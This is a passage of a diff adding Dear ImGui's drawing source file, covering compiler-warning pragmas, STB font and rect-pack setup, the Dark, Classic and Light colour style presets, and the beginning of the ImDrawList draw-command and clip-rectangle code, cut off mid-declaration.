+#endif +#pragma clang diagnostic ignored "-Wunknown-pragmas" // warning: unknown warning group 'xxx' +#pragma clang diagnostic ignored "-Wold-style-cast" // warning: use of old-style cast // yes, they are more terse. +#pragma clang diagnostic ignored "-Wfloat-equal" // warning: comparing floating point with == or != is unsafe // storing and comparing against same constants ok. +#pragma clang diagnostic ignored "-Wglobal-constructors" // warning: declaration requires a global destructor // similar to above, not sure what the exact difference is. +#pragma clang diagnostic ignored "-Wsign-conversion" // warning: implicit conversion changes signedness +#pragma clang diagnostic ignored "-Wzero-as-null-pointer-constant" // warning: zero as null pointer constant // some standard header variations use #define NULL 0 +#pragma clang diagnostic ignored "-Wcomma" // warning: possible misuse of comma operator here +#pragma clang diagnostic ignored "-Wreserved-id-macro" // warning: macro name is a reserved identifier +#pragma clang diagnostic ignored "-Wdouble-promotion" // warning: implicit conversion from 'float' to 'double' when passing argument to function // using printf() is a misery with this as C++ va_arg ellipsis changes float to double. +#pragma clang diagnostic ignored "-Wimplicit-int-float-conversion" // warning: implicit conversion from 'xxx' to 'float' may lose precision +#elif defined(__GNUC__) +#pragma GCC diagnostic ignored "-Wpragmas" // warning: unknown option after '#pragma GCC diagnostic' kind +#pragma GCC diagnostic ignored "-Wunused-function" // warning: 'xxxx' defined but not used +#pragma GCC diagnostic ignored "-Wdouble-promotion" // warning: implicit conversion from 'float' to 'double' when passing argument to function +#pragma GCC diagnostic ignored "-Wconversion" // warning: conversion to 'xxxx' from 'xxxx' may alter its value +#pragma GCC diagnostic ignored "-Wstack-protector" // warning: stack protector not protecting local variables: variable length buffer +#pragma GCC diagnostic ignored "-Wclass-memaccess" // [__GNUC__ >= 8] warning: 'memset/memcpy' clearing/writing an object of type 'xxxx' with no trivial copy-assignment; use assignment or value-initialization instead +#endif + +//------------------------------------------------------------------------- +// [SECTION] STB libraries implementation +//------------------------------------------------------------------------- + +// Compile time options: +//#define IMGUI_STB_NAMESPACE ImStb +//#define IMGUI_STB_TRUETYPE_FILENAME "my_folder/stb_truetype.h" +//#define IMGUI_STB_RECT_PACK_FILENAME "my_folder/stb_rect_pack.h" +//#define IMGUI_DISABLE_STB_TRUETYPE_IMPLEMENTATION +//#define IMGUI_DISABLE_STB_RECT_PACK_IMPLEMENTATION + +#ifdef IMGUI_STB_NAMESPACE +namespace IMGUI_STB_NAMESPACE +{ +#endif + +#ifdef _MSC_VER +#pragma warning (push) +#pragma warning (disable: 4456) // declaration of 'xx' hides previous local declaration +#endif + +#if defined(__clang__) +#pragma clang diagnostic push +#pragma clang diagnostic ignored "-Wunused-function" +#pragma clang diagnostic ignored "-Wmissing-prototypes" +#pragma clang diagnostic ignored "-Wimplicit-fallthrough" +#pragma clang diagnostic ignored "-Wcast-qual" // warning: cast from 'const xxxx *' to 'xxx *' drops const qualifier +#endif + +#if defined(__GNUC__) +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wtype-limits" // warning: comparison is always true due to limited range of data type [-Wtype-limits] +#pragma GCC diagnostic ignored "-Wcast-qual" // warning: cast from type 'const xxxx *' to type 'xxxx *' casts away qualifiers +#endif + +#ifndef STB_RECT_PACK_IMPLEMENTATION // in case the user already have an implementation in the _same_ compilation unit (e.g. unity builds) +#ifndef IMGUI_DISABLE_STB_RECT_PACK_IMPLEMENTATION +#define STBRP_STATIC +#define STBRP_ASSERT(x) do { IM_ASSERT(x); } while (0) +#define STBRP_SORT ImQsort +#define STB_RECT_PACK_IMPLEMENTATION +#endif +#ifdef IMGUI_STB_RECT_PACK_FILENAME +#include IMGUI_STB_RECT_PACK_FILENAME +#else +#include "imstb_rectpack.h" +#endif +#endif + +#ifndef STB_TRUETYPE_IMPLEMENTATION // in case the user already have an implementation in the _same_ compilation unit (e.g. unity builds) +#ifndef IMGUI_DISABLE_STB_TRUETYPE_IMPLEMENTATION +#define STBTT_malloc(x,u) ((void)(u), IM_ALLOC(x)) +#define STBTT_free(x,u) ((void)(u), IM_FREE(x)) +#define STBTT_assert(x) do { IM_ASSERT(x); } while(0) +#define STBTT_fmod(x,y) ImFmod(x,y) +#define STBTT_sqrt(x) ImSqrt(x) +#define STBTT_pow(x,y) ImPow(x,y) +#define STBTT_fabs(x) ImFabs(x) +#define STBTT_ifloor(x) ((int)ImFloorStd(x)) +#define STBTT_iceil(x) ((int)ImCeil(x)) +#define STBTT_STATIC +#define STB_TRUETYPE_IMPLEMENTATION +#else +#define STBTT_DEF extern +#endif +#ifdef IMGUI_STB_TRUETYPE_FILENAME +#include IMGUI_STB_TRUETYPE_FILENAME +#else +#include "imstb_truetype.h" +#endif +#endif + +#if defined(__GNUC__) +#pragma GCC diagnostic pop +#endif + +#if defined(__clang__) +#pragma clang diagnostic pop +#endif + +#if defined(_MSC_VER) +#pragma warning (pop) +#endif + +#ifdef IMGUI_STB_NAMESPACE +} // namespace ImStb +using namespace IMGUI_STB_NAMESPACE; +#endif + +//----------------------------------------------------------------------------- +// [SECTION] Style functions +//----------------------------------------------------------------------------- + +void ImGui::StyleColorsDark(ImGuiStyle* dst) +{ + ImGuiStyle* style = dst ? dst : &ImGui::GetStyle(); + ImVec4* colors = style->Colors; + + colors[ImGuiCol_Text] = ImVec4(1.00f, 1.00f, 1.00f, 1.00f); + colors[ImGuiCol_TextDisabled] = ImVec4(0.50f, 0.50f, 0.50f, 1.00f); + colors[ImGuiCol_WindowBg] = ImVec4(0.06f, 0.06f, 0.06f, 0.94f); + colors[ImGuiCol_ChildBg] = ImVec4(0.00f, 0.00f, 0.00f, 0.00f); + colors[ImGuiCol_PopupBg] = ImVec4(0.08f, 0.08f, 0.08f, 0.94f); + colors[ImGuiCol_Border] = ImVec4(0.43f, 0.43f, 0.50f, 0.50f); + colors[ImGuiCol_BorderShadow] = ImVec4(0.00f, 0.00f, 0.00f, 0.00f); + colors[ImGuiCol_FrameBg] = ImVec4(0.16f, 0.29f, 0.48f, 0.54f); + colors[ImGuiCol_FrameBgHovered] = ImVec4(0.26f, 0.59f, 0.98f, 0.40f); + colors[ImGuiCol_FrameBgActive] = ImVec4(0.26f, 0.59f, 0.98f, 0.67f); + colors[ImGuiCol_TitleBg] = ImVec4(0.04f, 0.04f, 0.04f, 1.00f); + colors[ImGuiCol_TitleBgActive] = ImVec4(0.16f, 0.29f, 0.48f, 1.00f); + colors[ImGuiCol_TitleBgCollapsed] = ImVec4(0.00f, 0.00f, 0.00f, 0.51f); + colors[ImGuiCol_MenuBarBg] = ImVec4(0.14f, 0.14f, 0.14f, 1.00f); + colors[ImGuiCol_ScrollbarBg] = ImVec4(0.02f, 0.02f, 0.02f, 0.53f); + colors[ImGuiCol_ScrollbarGrab] = ImVec4(0.31f, 0.31f, 0.31f, 1.00f); + colors[ImGuiCol_ScrollbarGrabHovered] = ImVec4(0.41f, 0.41f, 0.41f, 1.00f); + colors[ImGuiCol_ScrollbarGrabActive] = ImVec4(0.51f, 0.51f, 0.51f, 1.00f); + colors[ImGuiCol_CheckMark] = ImVec4(0.26f, 0.59f, 0.98f, 1.00f); + colors[ImGuiCol_SliderGrab] = ImVec4(0.24f, 0.52f, 0.88f, 1.00f); + colors[ImGuiCol_SliderGrabActive] = ImVec4(0.26f, 0.59f, 0.98f, 1.00f); + colors[ImGuiCol_Button] = ImVec4(0.26f, 0.59f, 0.98f, 0.40f); + colors[ImGuiCol_ButtonHovered] = ImVec4(0.26f, 0.59f, 0.98f, 1.00f); + colors[ImGuiCol_ButtonActive] = ImVec4(0.06f, 0.53f, 0.98f, 1.00f); + colors[ImGuiCol_Header] = ImVec4(0.26f, 0.59f, 0.98f, 0.31f); + colors[ImGuiCol_HeaderHovered] = ImVec4(0.26f, 0.59f, 0.98f, 0.80f); + colors[ImGuiCol_HeaderActive] = ImVec4(0.26f, 0.59f, 0.98f, 1.00f); + colors[ImGuiCol_Separator] = colors[ImGuiCol_Border]; + colors[ImGuiCol_SeparatorHovered] = ImVec4(0.10f, 0.40f, 0.75f, 0.78f); + colors[ImGuiCol_SeparatorActive] = ImVec4(0.10f, 0.40f, 0.75f, 1.00f); + colors[ImGuiCol_ResizeGrip] = ImVec4(0.26f, 0.59f, 0.98f, 0.20f); + colors[ImGuiCol_ResizeGripHovered] = ImVec4(0.26f, 0.59f, 0.98f, 0.67f); + colors[ImGuiCol_ResizeGripActive] = ImVec4(0.26f, 0.59f, 0.98f, 0.95f); + colors[ImGuiCol_Tab] = ImLerp(colors[ImGuiCol_Header], colors[ImGuiCol_TitleBgActive], 0.80f); + colors[ImGuiCol_TabHovered] = colors[ImGuiCol_HeaderHovered]; + colors[ImGuiCol_TabActive] = ImLerp(colors[ImGuiCol_HeaderActive], colors[ImGuiCol_TitleBgActive], 0.60f); + colors[ImGuiCol_TabUnfocused] = ImLerp(colors[ImGuiCol_Tab], colors[ImGuiCol_TitleBg], 0.80f); + colors[ImGuiCol_TabUnfocusedActive] = ImLerp(colors[ImGuiCol_TabActive], colors[ImGuiCol_TitleBg], 0.40f); + colors[ImGuiCol_PlotLines] = ImVec4(0.61f, 0.61f, 0.61f, 1.00f); + colors[ImGuiCol_PlotLinesHovered] = ImVec4(1.00f, 0.43f, 0.35f, 1.00f); + colors[ImGuiCol_PlotHistogram] = ImVec4(0.90f, 0.70f, 0.00f, 1.00f); + colors[ImGuiCol_PlotHistogramHovered] = ImVec4(1.00f, 0.60f, 0.00f, 1.00f); + colors[ImGuiCol_TableHeaderBg] = ImVec4(0.19f, 0.19f, 0.20f, 1.00f); + colors[ImGuiCol_TableBorderStrong] = ImVec4(0.31f, 0.31f, 0.35f, 1.00f); // Prefer using Alpha=1.0 here + colors[ImGuiCol_TableBorderLight] = ImVec4(0.23f, 0.23f, 0.25f, 1.00f); // Prefer using Alpha=1.0 here + colors[ImGuiCol_TableRowBg] = ImVec4(0.00f, 0.00f, 0.00f, 0.00f); + colors[ImGuiCol_TableRowBgAlt] = ImVec4(1.00f, 1.00f, 1.00f, 0.06f); + colors[ImGuiCol_TextSelectedBg] = ImVec4(0.26f, 0.59f, 0.98f, 0.35f); + colors[ImGuiCol_DragDropTarget] = ImVec4(1.00f, 1.00f, 0.00f, 0.90f); + colors[ImGuiCol_NavHighlight] = ImVec4(0.26f, 0.59f, 0.98f, 1.00f); + colors[ImGuiCol_NavWindowingHighlight] = ImVec4(1.00f, 1.00f, 1.00f, 0.70f); + colors[ImGuiCol_NavWindowingDimBg] = ImVec4(0.80f, 0.80f, 0.80f, 0.20f); + colors[ImGuiCol_ModalWindowDimBg] = ImVec4(0.80f, 0.80f, 0.80f, 0.35f); +} + +void ImGui::StyleColorsClassic(ImGuiStyle* dst) +{ + ImGuiStyle* style = dst ? dst : &ImGui::GetStyle(); + ImVec4* colors = style->Colors; + + colors[ImGuiCol_Text] = ImVec4(0.90f, 0.90f, 0.90f, 1.00f); + colors[ImGuiCol_TextDisabled] = ImVec4(0.60f, 0.60f, 0.60f, 1.00f); + colors[ImGuiCol_WindowBg] = ImVec4(0.00f, 0.00f, 0.00f, 0.85f); + colors[ImGuiCol_ChildBg] = ImVec4(0.00f, 0.00f, 0.00f, 0.00f); + colors[ImGuiCol_PopupBg] = ImVec4(0.11f, 0.11f, 0.14f, 0.92f); + colors[ImGuiCol_Border] = ImVec4(0.50f, 0.50f, 0.50f, 0.50f); + colors[ImGuiCol_BorderShadow] = ImVec4(0.00f, 0.00f, 0.00f, 0.00f); + colors[ImGuiCol_FrameBg] = ImVec4(0.43f, 0.43f, 0.43f, 0.39f); + colors[ImGuiCol_FrameBgHovered] = ImVec4(0.47f, 0.47f, 0.69f, 0.40f); + colors[ImGuiCol_FrameBgActive] = ImVec4(0.42f, 0.41f, 0.64f, 0.69f); + colors[ImGuiCol_TitleBg] = ImVec4(0.27f, 0.27f, 0.54f, 0.83f); + colors[ImGuiCol_TitleBgActive] = ImVec4(0.32f, 0.32f, 0.63f, 0.87f); + colors[ImGuiCol_TitleBgCollapsed] = ImVec4(0.40f, 0.40f, 0.80f, 0.20f); + colors[ImGuiCol_MenuBarBg] = ImVec4(0.40f, 0.40f, 0.55f, 0.80f); + colors[ImGuiCol_ScrollbarBg] = ImVec4(0.20f, 0.25f, 0.30f, 0.60f); + colors[ImGuiCol_ScrollbarGrab] = ImVec4(0.40f, 0.40f, 0.80f, 0.30f); + colors[ImGuiCol_ScrollbarGrabHovered] = ImVec4(0.40f, 0.40f, 0.80f, 0.40f); + colors[ImGuiCol_ScrollbarGrabActive] = ImVec4(0.41f, 0.39f, 0.80f, 0.60f); + colors[ImGuiCol_CheckMark] = ImVec4(0.90f, 0.90f, 0.90f, 0.50f); + colors[ImGuiCol_SliderGrab] = ImVec4(1.00f, 1.00f, 1.00f, 0.30f); + colors[ImGuiCol_SliderGrabActive] = ImVec4(0.41f, 0.39f, 0.80f, 0.60f); + colors[ImGuiCol_Button] = ImVec4(0.35f, 0.40f, 0.61f, 0.62f); + colors[ImGuiCol_ButtonHovered] = ImVec4(0.40f, 0.48f, 0.71f, 0.79f); + colors[ImGuiCol_ButtonActive] = ImVec4(0.46f, 0.54f, 0.80f, 1.00f); + colors[ImGuiCol_Header] = ImVec4(0.40f, 0.40f, 0.90f, 0.45f); + colors[ImGuiCol_HeaderHovered] = ImVec4(0.45f, 0.45f, 0.90f, 0.80f); + colors[ImGuiCol_HeaderActive] = ImVec4(0.53f, 0.53f, 0.87f, 0.80f); + colors[ImGuiCol_Separator] = ImVec4(0.50f, 0.50f, 0.50f, 0.60f); + colors[ImGuiCol_SeparatorHovered] = ImVec4(0.60f, 0.60f, 0.70f, 1.00f); + colors[ImGuiCol_SeparatorActive] = ImVec4(0.70f, 0.70f, 0.90f, 1.00f); + colors[ImGuiCol_ResizeGrip] = ImVec4(1.00f, 1.00f, 1.00f, 0.10f); + colors[ImGuiCol_ResizeGripHovered] = ImVec4(0.78f, 0.82f, 1.00f, 0.60f); + colors[ImGuiCol_ResizeGripActive] = ImVec4(0.78f, 0.82f, 1.00f, 0.90f); + colors[ImGuiCol_Tab] = ImLerp(colors[ImGuiCol_Header], colors[ImGuiCol_TitleBgActive], 0.80f); + colors[ImGuiCol_TabHovered] = colors[ImGuiCol_HeaderHovered]; + colors[ImGuiCol_TabActive] = ImLerp(colors[ImGuiCol_HeaderActive], colors[ImGuiCol_TitleBgActive], 0.60f); + colors[ImGuiCol_TabUnfocused] = ImLerp(colors[ImGuiCol_Tab], colors[ImGuiCol_TitleBg], 0.80f); + colors[ImGuiCol_TabUnfocusedActive] = ImLerp(colors[ImGuiCol_TabActive], colors[ImGuiCol_TitleBg], 0.40f); + colors[ImGuiCol_PlotLines] = ImVec4(1.00f, 1.00f, 1.00f, 1.00f); + colors[ImGuiCol_PlotLinesHovered] = ImVec4(0.90f, 0.70f, 0.00f, 1.00f); + colors[ImGuiCol_PlotHistogram] = ImVec4(0.90f, 0.70f, 0.00f, 1.00f); + colors[ImGuiCol_PlotHistogramHovered] = ImVec4(1.00f, 0.60f, 0.00f, 1.00f); + colors[ImGuiCol_TableHeaderBg] = ImVec4(0.27f, 0.27f, 0.38f, 1.00f); + colors[ImGuiCol_TableBorderStrong] = ImVec4(0.31f, 0.31f, 0.45f, 1.00f); // Prefer using Alpha=1.0 here + colors[ImGuiCol_TableBorderLight] = ImVec4(0.26f, 0.26f, 0.28f, 1.00f); // Prefer using Alpha=1.0 here + colors[ImGuiCol_TableRowBg] = ImVec4(0.00f, 0.00f, 0.00f, 0.00f); + colors[ImGuiCol_TableRowBgAlt] = ImVec4(1.00f, 1.00f, 1.00f, 0.07f); + colors[ImGuiCol_TextSelectedBg] = ImVec4(0.00f, 0.00f, 1.00f, 0.35f); + colors[ImGuiCol_DragDropTarget] = ImVec4(1.00f, 1.00f, 0.00f, 0.90f); + colors[ImGuiCol_NavHighlight] = colors[ImGuiCol_HeaderHovered]; + colors[ImGuiCol_NavWindowingHighlight] = ImVec4(1.00f, 1.00f, 1.00f, 0.70f); + colors[ImGuiCol_NavWindowingDimBg] = ImVec4(0.80f, 0.80f, 0.80f, 0.20f); + colors[ImGuiCol_ModalWindowDimBg] = ImVec4(0.20f, 0.20f, 0.20f, 0.35f); +} + +// Those light colors are better suited with a thicker font than the default one + FrameBorder +void ImGui::StyleColorsLight(ImGuiStyle* dst) +{ + ImGuiStyle* style = dst ? dst : &ImGui::GetStyle(); + ImVec4* colors = style->Colors; + + colors[ImGuiCol_Text] = ImVec4(0.00f, 0.00f, 0.00f, 1.00f); + colors[ImGuiCol_TextDisabled] = ImVec4(0.60f, 0.60f, 0.60f, 1.00f); + colors[ImGuiCol_WindowBg] = ImVec4(0.94f, 0.94f, 0.94f, 1.00f); + colors[ImGuiCol_ChildBg] = ImVec4(0.00f, 0.00f, 0.00f, 0.00f); + colors[ImGuiCol_PopupBg] = ImVec4(1.00f, 1.00f, 1.00f, 0.98f); + colors[ImGuiCol_Border] = ImVec4(0.00f, 0.00f, 0.00f, 0.30f); + colors[ImGuiCol_BorderShadow] = ImVec4(0.00f, 0.00f, 0.00f, 0.00f); + colors[ImGuiCol_FrameBg] = ImVec4(1.00f, 1.00f, 1.00f, 1.00f); + colors[ImGuiCol_FrameBgHovered] = ImVec4(0.26f, 0.59f, 0.98f, 0.40f); + colors[ImGuiCol_FrameBgActive] = ImVec4(0.26f, 0.59f, 0.98f, 0.67f); + colors[ImGuiCol_TitleBg] = ImVec4(0.96f, 0.96f, 0.96f, 1.00f); + colors[ImGuiCol_TitleBgActive] = ImVec4(0.82f, 0.82f, 0.82f, 1.00f); + colors[ImGuiCol_TitleBgCollapsed] = ImVec4(1.00f, 1.00f, 1.00f, 0.51f); + colors[ImGuiCol_MenuBarBg] = ImVec4(0.86f, 0.86f, 0.86f, 1.00f); + colors[ImGuiCol_ScrollbarBg] = ImVec4(0.98f, 0.98f, 0.98f, 0.53f); + colors[ImGuiCol_ScrollbarGrab] = ImVec4(0.69f, 0.69f, 0.69f, 0.80f); + colors[ImGuiCol_ScrollbarGrabHovered] = ImVec4(0.49f, 0.49f, 0.49f, 0.80f); + colors[ImGuiCol_ScrollbarGrabActive] = ImVec4(0.49f, 0.49f, 0.49f, 1.00f); + colors[ImGuiCol_CheckMark] = ImVec4(0.26f, 0.59f, 0.98f, 1.00f); + colors[ImGuiCol_SliderGrab] = ImVec4(0.26f, 0.59f, 0.98f, 0.78f); + colors[ImGuiCol_SliderGrabActive] = ImVec4(0.46f, 0.54f, 0.80f, 0.60f); + colors[ImGuiCol_Button] = ImVec4(0.26f, 0.59f, 0.98f, 0.40f); + colors[ImGuiCol_ButtonHovered] = ImVec4(0.26f, 0.59f, 0.98f, 1.00f); + colors[ImGuiCol_ButtonActive] = ImVec4(0.06f, 0.53f, 0.98f, 1.00f); + colors[ImGuiCol_Header] = ImVec4(0.26f, 0.59f, 0.98f, 0.31f); + colors[ImGuiCol_HeaderHovered] = ImVec4(0.26f, 0.59f, 0.98f, 0.80f); + colors[ImGuiCol_HeaderActive] = ImVec4(0.26f, 0.59f, 0.98f, 1.00f); + colors[ImGuiCol_Separator] = ImVec4(0.39f, 0.39f, 0.39f, 0.62f); + colors[ImGuiCol_SeparatorHovered] = ImVec4(0.14f, 0.44f, 0.80f, 0.78f); + colors[ImGuiCol_SeparatorActive] = ImVec4(0.14f, 0.44f, 0.80f, 1.00f); + colors[ImGuiCol_ResizeGrip] = ImVec4(0.35f, 0.35f, 0.35f, 0.17f); + colors[ImGuiCol_ResizeGripHovered] = ImVec4(0.26f, 0.59f, 0.98f, 0.67f); + colors[ImGuiCol_ResizeGripActive] = ImVec4(0.26f, 0.59f, 0.98f, 0.95f); + colors[ImGuiCol_Tab] = ImLerp(colors[ImGuiCol_Header], colors[ImGuiCol_TitleBgActive], 0.90f); + colors[ImGuiCol_TabHovered] = colors[ImGuiCol_HeaderHovered]; + colors[ImGuiCol_TabActive] = ImLerp(colors[ImGuiCol_HeaderActive], colors[ImGuiCol_TitleBgActive], 0.60f); + colors[ImGuiCol_TabUnfocused] = ImLerp(colors[ImGuiCol_Tab], colors[ImGuiCol_TitleBg], 0.80f); + colors[ImGuiCol_TabUnfocusedActive] = ImLerp(colors[ImGuiCol_TabActive], colors[ImGuiCol_TitleBg], 0.40f); + colors[ImGuiCol_PlotLines] = ImVec4(0.39f, 0.39f, 0.39f, 1.00f); + colors[ImGuiCol_PlotLinesHovered] = ImVec4(1.00f, 0.43f, 0.35f, 1.00f); + colors[ImGuiCol_PlotHistogram] = ImVec4(0.90f, 0.70f, 0.00f, 1.00f); + colors[ImGuiCol_PlotHistogramHovered] = ImVec4(1.00f, 0.45f, 0.00f, 1.00f); + colors[ImGuiCol_TableHeaderBg] = ImVec4(0.78f, 0.87f, 0.98f, 1.00f); + colors[ImGuiCol_TableBorderStrong] = ImVec4(0.57f, 0.57f, 0.64f, 1.00f); // Prefer using Alpha=1.0 here + colors[ImGuiCol_TableBorderLight] = ImVec4(0.68f, 0.68f, 0.74f, 1.00f); // Prefer using Alpha=1.0 here + colors[ImGuiCol_TableRowBg] = ImVec4(0.00f, 0.00f, 0.00f, 0.00f); + colors[ImGuiCol_TableRowBgAlt] = ImVec4(0.30f, 0.30f, 0.30f, 0.09f); + colors[ImGuiCol_TextSelectedBg] = ImVec4(0.26f, 0.59f, 0.98f, 0.35f); + colors[ImGuiCol_DragDropTarget] = ImVec4(0.26f, 0.59f, 0.98f, 0.95f); + colors[ImGuiCol_NavHighlight] = colors[ImGuiCol_HeaderHovered]; + colors[ImGuiCol_NavWindowingHighlight] = ImVec4(0.70f, 0.70f, 0.70f, 0.70f); + colors[ImGuiCol_NavWindowingDimBg] = ImVec4(0.20f, 0.20f, 0.20f, 0.20f); + colors[ImGuiCol_ModalWindowDimBg] = ImVec4(0.20f, 0.20f, 0.20f, 0.35f); +} + +//----------------------------------------------------------------------------- +// [SECTION] ImDrawList +//----------------------------------------------------------------------------- + +ImDrawListSharedData::ImDrawListSharedData() +{ + memset(this, 0, sizeof(*this)); + for (int i = 0; i < IM_ARRAYSIZE(ArcFastVtx); i++) + { + const float a = ((float)i * 2 * IM_PI) / (float)IM_ARRAYSIZE(ArcFastVtx); + ArcFastVtx[i] = ImVec2(ImCos(a), ImSin(a)); + } +} + +void ImDrawListSharedData::SetCircleSegmentMaxError(float max_error) +{ + if (CircleSegmentMaxError == max_error) + return; + CircleSegmentMaxError = max_error; + for (int i = 0; i < IM_ARRAYSIZE(CircleSegmentCounts); i++) + { + const float radius = i + 1.0f; + const int segment_count = IM_DRAWLIST_CIRCLE_AUTO_SEGMENT_CALC(radius, CircleSegmentMaxError); + CircleSegmentCounts[i] = (ImU8)ImMin(segment_count, 255); + } +} + +// Initialize before use in a new frame. We always have a command ready in the buffer. +void ImDrawList::_ResetForNewFrame() +{ + // Verify that the ImDrawCmd fields we want to memcmp() are contiguous in memory. + // (those should be IM_STATIC_ASSERT() in theory but with our pre C++11 setup the whole check doesn't compile with GCC) + IM_ASSERT(IM_OFFSETOF(ImDrawCmd, ClipRect) == 0); + IM_ASSERT(IM_OFFSETOF(ImDrawCmd, TextureId) == sizeof(ImVec4)); + IM_ASSERT(IM_OFFSETOF(ImDrawCmd, VtxOffset) == sizeof(ImVec4) + sizeof(ImTextureID)); + + CmdBuffer.resize(0); + IdxBuffer.resize(0); + VtxBuffer.resize(0); + Flags = _Data->InitialFlags; + memset(&_CmdHeader, 0, sizeof(_CmdHeader)); + _VtxCurrentIdx = 0; + _VtxWritePtr = NULL; + _IdxWritePtr = NULL; + _ClipRectStack.resize(0); + _TextureIdStack.resize(0); + _Path.resize(0); + _Splitter.Clear(); + CmdBuffer.push_back(ImDrawCmd()); +} + +void ImDrawList::_ClearFreeMemory() +{ + CmdBuffer.clear(); + IdxBuffer.clear(); + VtxBuffer.clear(); + Flags = ImDrawListFlags_None; + _VtxCurrentIdx = 0; + _VtxWritePtr = NULL; + _IdxWritePtr = NULL; + _ClipRectStack.clear(); + _TextureIdStack.clear(); + _Path.clear(); + _Splitter.ClearFreeMemory(); +} + +ImDrawList* ImDrawList::CloneOutput() const +{ + ImDrawList* dst = IM_NEW(ImDrawList(_Data)); + dst->CmdBuffer = CmdBuffer; + dst->IdxBuffer = IdxBuffer; + dst->VtxBuffer = VtxBuffer; + dst->Flags = Flags; + return dst; +} + +void ImDrawList::AddDrawCmd() +{ + ImDrawCmd draw_cmd; + draw_cmd.ClipRect = _CmdHeader.ClipRect; // Same as calling ImDrawCmd_HeaderCopy() + draw_cmd.TextureId = _CmdHeader.TextureId; + draw_cmd.VtxOffset = _CmdHeader.VtxOffset; + draw_cmd.IdxOffset = IdxBuffer.Size; + + IM_ASSERT(draw_cmd.ClipRect.x <= draw_cmd.ClipRect.z && draw_cmd.ClipRect.y <= draw_cmd.ClipRect.w); + CmdBuffer.push_back(draw_cmd); +} + +// Pop trailing draw command (used before merging or presenting to user) +// Note that this leaves the ImDrawList in a state unfit for further commands, as most code assume that CmdBuffer.Size > 0 && CmdBuffer.back().UserCallback == NULL +void ImDrawList::_PopUnusedDrawCmd() +{ + if (CmdBuffer.Size == 0) + return; + ImDrawCmd* curr_cmd = &CmdBuffer.Data[CmdBuffer.Size - 1]; + if (curr_cmd->ElemCount == 0 && curr_cmd->UserCallback == NULL) + CmdBuffer.pop_back(); +} + +void ImDrawList::AddCallback(ImDrawCallback callback, void* callback_data) +{ + ImDrawCmd* curr_cmd = &CmdBuffer.Data[CmdBuffer.Size - 1]; + IM_ASSERT(curr_cmd->UserCallback == NULL); + if (curr_cmd->ElemCount != 0) + { + AddDrawCmd(); + curr_cmd = &CmdBuffer.Data[CmdBuffer.Size - 1]; + } + curr_cmd->UserCallback = callback; + curr_cmd->UserCallbackData = callback_data; + + AddDrawCmd(); // Force a new command after us (see comment below) +} + +// Compare ClipRect, TextureId and VtxOffset with a single memcmp() +#define ImDrawCmd_HeaderSize (IM_OFFSETOF(ImDrawCmd, VtxOffset) + sizeof(unsigned int)) +#define ImDrawCmd_HeaderCompare(CMD_LHS, CMD_RHS) (memcmp(CMD_LHS, CMD_RHS, ImDrawCmd_HeaderSize)) // Compare ClipRect, TextureId, VtxOffset +#define ImDrawCmd_HeaderCopy(CMD_DST, CMD_SRC) (memcpy(CMD_DST, CMD_SRC, ImDrawCmd_HeaderSize)) // Copy ClipRect, TextureId, VtxOffset + +// Our scheme may appears a bit unusual, basically we want the most-common calls AddLine AddRect etc. to not have to perform any check so we always have a command ready in the stack. +// The cost of figuring out if a new command has to be added or if we can merge is paid in those Update** functions only. +void ImDrawList::_OnChangedClipRect() +{ + // If current command is used with different settings we need to add a new command + ImDrawCmd* curr_cmd = &CmdBuffer.Data[CmdBuffer.Size - 1]; + if (curr_cmd->ElemCount != 0 && memcmp(&curr_cmd->ClipRect, &_CmdHeader.ClipRect, sizeof(ImVec4)) != 0) + { + AddDrawCmd(); + return; + } + IM_ASSERT(curr_cmd->UserCallback == NULL); + + // Try to merge with previous command if it matches, else use current command + ImDrawCmd* prev_cmd = curr_cmd - 1; + if (curr_cmd->ElemCount == 0 && CmdBuffer.Size > 1 && ImDrawCmd_HeaderCompare(&_CmdHeader, prev_cmd) == 0 && prev_cmd->UserCallback == NULL) + { + CmdBuffer.pop_back(); + return; + } + + curr_cmd->ClipRect = _CmdHeader.ClipRect; +} + +void ImDrawList::_OnChangedTextureID() +{ + // If current command is used with different settings we need to add a new command + ImDrawCmd* curr_cmd = &CmdBuffer.Data[CmdBuffer.Size - 1]; + if (curr_cmd->ElemCount != 0 && curr_cmd->TextureId != _CmdHeader.TextureId) + { + AddDrawCmd(); + return; + } + IM_ASSERT(curr_cmd->UserCallback == NULL); + + // Try to merge with previous command if it matches, else use current command + ImDrawCmd* prev_cmd = curr_cmd - 1; + if (curr_cmd->ElemCount == 0 && CmdBuffer.Size > 1 && ImDrawCmd_HeaderCompare(&_CmdHeader, prev_cmd) == 0 && prev_cmd->UserCallback == NULL) + { + CmdBuffer.pop_back(); + return; + } + + curr_cmd->TextureId = _CmdHeader.TextureId; +} + +void ImDrawList::_OnChangedVtxOffset() +{ + // We don't need to compare curr_cmd->VtxOffset != _CmdHeader.VtxOffset because we know it'll be different at the time we call this. + _VtxCurrentIdx = 0; + ImDrawCmd* curr_cmd = &CmdBuffer.Data[CmdBuffer.Size - 1]; + //IM_ASSERT(curr_cmd->VtxOffset != _CmdHeader.VtxOffset); // See #3349 + if (curr_cmd->ElemCount != 0) + { + AddDrawCmd(); + return; + } + IM_ASSERT(curr_cmd->UserCallback == NULL); + curr_cmd->VtxOffset = _CmdHeader.VtxOffset; +} + +// Render-level scissoring. This is passed down to your render function but not used for CPU-side coarse clipping. Prefer using higher-level ImGui::PushClipRect() to affect logic (hit-testing and widget culling) +void ImDrawList::PushClipRect(ImVec2 cr_min, ImVec2 cr_max, bool intersect_with_current_clip_rect) +{ + ImVec4 cr(cr_min.x, cr_min.y, cr_max.x, cr_max.y); + if (intersect_with_current_clip_rect) + { + ImVec4 current = _CmdHeader.ClipRect; + if (cr.x < current.x) cr.x = current.x; + if (cr.y < current.y) cr.y = current.y; + if (cr.z > current.z) cr.z = current.z; + if (cr.w > current.w) cr.w = current.w; + } + cr.z = ImMax(cr.x, cr.z); + cr.w = ImMax(cr.y, cr.w); + + _ClipRectStack.push_back(cr); + _CmdHeader.ClipRect = cr; + _OnChangedClipRect(); +} + +void ImDrawList::PushClipRectFullScreen() +{ + PushClipRect(ImVec2(_Data->ClipRectFullscreen.x, _Data->ClipRectFullscreen.y), ImVec2(_Data->ClipRectFullscreen.z, _Data->ClipRectFullscreen.w)); +} + +void ImDrawList::PopClipRect() +{ + _ClipRectStack.pop_back(); + _CmdHeader.ClipRect = (_ClipRectStack.Size == 0) ? _Data->ClipRectFullscreen : _ClipRectStack.Data[_ClipRectStack.Size - 1]; + _OnChangedClipRect(); +} + +void 